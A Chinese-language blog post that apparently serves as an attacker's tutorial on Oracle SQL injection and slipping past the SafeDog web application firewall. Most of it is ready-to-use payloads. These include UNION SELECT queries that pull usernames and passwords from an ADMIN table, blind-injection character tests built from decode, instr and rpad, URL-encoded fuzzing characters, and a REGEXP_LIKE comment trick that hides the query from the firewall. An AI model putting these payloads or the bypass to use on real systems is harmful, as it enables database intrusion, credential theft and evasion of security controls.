oracle注入繞狗
VSole2021-10-14 15:03:05
0x00 前言
最近學習了oracle注入,和mysql比語法差異還是有的,做下小記錄,后面是嘗試繞狗。
0x01 簡單fuzz
空白符
%09 %0A %0B %0C %0D
當注入類型為數字型即id=1(fuzz點)union select 全字符url編碼fuzz一遍后,發現%2E %44 %46 %64 %66這些字符添加不影響SQL語句運行。url解碼后為 . D F d f


ALL | DISTINCT
union ALL select DISTINCT null, to_nchar(UNAME), to_nchar(UPASS), null from ADMIN

函數
decode ascii chr
查詢當前用戶的第一個字段是否為S 是返回1否返回0select decode(substr((select user from dual),1,1), chr(83), 1, 0) value from dual;select decode(ascii(substr((select user from dual),1,1)), '83', 1, 0) value from dual;
case when instr
select decode((instr(user, chr(83), 1, 1)), 1, 1, 0) value from dual;select case instr(user, chr(83), 1, 1) when 1 then 1 else 0 end value from dual;
lrpad rpad
select decode('S', rpad(user, 1,1), 1, 0) value from dual;select decode('S'||'Y', rpad(user, 2,1), 1, 0) value from dual;select decode(concat('SYS','TEM'), rpad(user, 6,1), 1, 0) value from dual;
更多函數
chr,concat,initcap,lower,lpad/rpad,nls_initcap,nls_lower,nls_upper,regexp_replace,regexp_substr,replace,trim/ltrim/rtrim,soundex,substr,translate,upper
0x02 繞狗
思路很簡單,當用/*sql語句*/注釋把語句包裹起來時就不會攔截了,當然sql語句也無法正常執行了。

要做的就是前面帶上/*閉合的*/直接放在結尾注釋后面,而且不影響sql語句的執行,我是找到了一個正則函數 REGEXP_LIKE帶上/*。
and REGEXP_LIKE(null, '/*') union select null, to_nchar(UNAME), to_nchar(UPASS), null from ADMIN--*/

sql語句也可以正常執行。
這樣也行

0x03 小結
學習了基礎的oracle注入知識,嘗試繞狗這里我是官網測試的,實際環境可能有不同,個人覺得注入bypass這類還得看對sql語法的了解,越熟悉bypass的思路多些。
0x04 參考
https://www.t00ls.cc/viewthread.php?tid=57124&highlight=oracle
實操推薦:Oracle手工盲注
PC端體驗地址:http://mrw.so/6ta87q
本實驗主要介紹了oracle數據庫的手工盲注,通過本實驗的學習,你能夠了解
Oracle數據庫,掌握基本的Oracle注入語句,學會對oracle數據庫的手工注入。
VSole
網絡安全專家